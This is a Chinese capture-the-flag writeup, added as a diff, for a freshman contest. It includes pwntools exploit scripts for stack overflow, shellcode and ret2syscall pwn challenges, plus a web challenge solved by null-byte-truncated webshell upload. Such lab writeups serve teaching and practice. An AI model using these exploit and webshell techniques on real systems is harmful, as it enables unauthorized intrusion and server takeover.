|
|
|
|
@ -0,0 +1,78 @@
|
|
|
|
|
# 0x3f新生赛 Writeup
|
|
|
|
|
|
|
|
|
|
## Re
|
|
|
|
|
|
|
|
|
|
### R
|
|
|
|
|
|
|
|
|
|
下载可执行文件,用IDA打开,在main函数的最后发现一些mov,将立即数用字符显示即得flag。
|
|
|
|
|
|
|
|
|
|
## Pwn
|
|
|
|
|
|
|
|
|
|
### pwn1
|
|
|
|
|
|
|
|
|
|
简单的栈溢出
|
|
|
|
|
|
|
|
|
|
```python
|
|
|
|
|
from pwn import *
|
|
|
|
|
pld='a'*0x20+'b'*8+p64(0x401182)
|
|
|
|
|
sh=process('./01')
|
|
|
|
|
sh.sendline(pld)
|
|
|
|
|
sh.interactive()
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
### pwn2
|
|
|
|
|
|
|
|
|
|
通过提示可以找到C++的全局变量初始化函数,发现有mmap一块RWX的内存,而立即数反汇编后是`jmp rsp`,栈又可执行,所以题解如下:
|
|
|
|
|
|
|
|
|
|
```python
|
|
|
|
|
from pwn import *
|
|
|
|
|
context.arch = 'amd64'
|
|
|
|
|
sh = process('./02')
|
|
|
|
|
pld = 'a' * 0x40 + 'b' * 8 + p64(0x666666660000) + asm(shellcraft.sh())
|
|
|
|
|
sh.sendline(pld)
|
|
|
|
|
sh.interactive()
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
### pwn3
|
|
|
|
|
|
|
|
|
|
没有pie,静态链接,显然是ret2syscall。用ROPgadget找到那些地址直接用就行了。注意当目标地址中含有`\x0a`的时候会导致输入截断,因为`'\n' == '\x0a'`。
|
|
|
|
|
|
|
|
|
|
```python
|
|
|
|
|
from pwn import *
|
|
|
|
|
adb=0x080570c4
|
|
|
|
|
cbx=0x0806f1b2
|
|
|
|
|
bsh=0x080dc068
|
|
|
|
|
i80=0x0804a31a
|
|
|
|
|
sh=process('./03')
|
|
|
|
|
pld=flat(['a'*0x30,'b'*4,adb,0xb,0,bsh,cbx,0,bsh,i80])
|
|
|
|
|
sh.sendline(pld)
|
|
|
|
|
sh.interactive()
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
## Misc
|
|
|
|
|
|
|
|
|
|
### cap
|
|
|
|
|
|
|
|
|
|
用提示给的网站修复cap,获得修复后的pcap包,跟踪TCP流,发现有两个位置上是lf和ga,将后面一系列包的这两位连起来就是flag了。
|
|
|
|
|
|
|
|
|
|
### picture
|
|
|
|
|
|
|
|
|
|
下载文件,解压后获得图片,用stegsolve打开,发现绿色通道最低位仿佛有信息,导出出来,根据提升修复bmp header,打开即见flag。
|
|
|
|
|
|
|
|
|
|
### 签到
|
|
|
|
|
|
|
|
|
|
复制粘贴,没啥好说的。
|
|
|
|
|
|
|
|
|
|
## Web
|
|
|
|
|
|
|
|
|
|
### upload
|
|
|
|
|
|
|
|
|
|
任意上传,用burpsuite拦截上传请求,使用0x00进行截断,用这种方法上传一句话木马,然后用中国菜刀类的工具浏览服务器目录,很容易就能发现flag
|
|
|
|
|
|
|
|
|
|
### 404
|
|
|
|
|
|
|
|
|
|
打开开发者工具,发现虽然看起来是404,实际上是200,flag就在http headers里面。
|
|
|
|
|
|
|
|
|
|
### ios88
|
|
|
|
|
|
|
|
|
|
将user-agent改成ios的,然后把版本号都改成88,就能在http headers里找到flag了。
|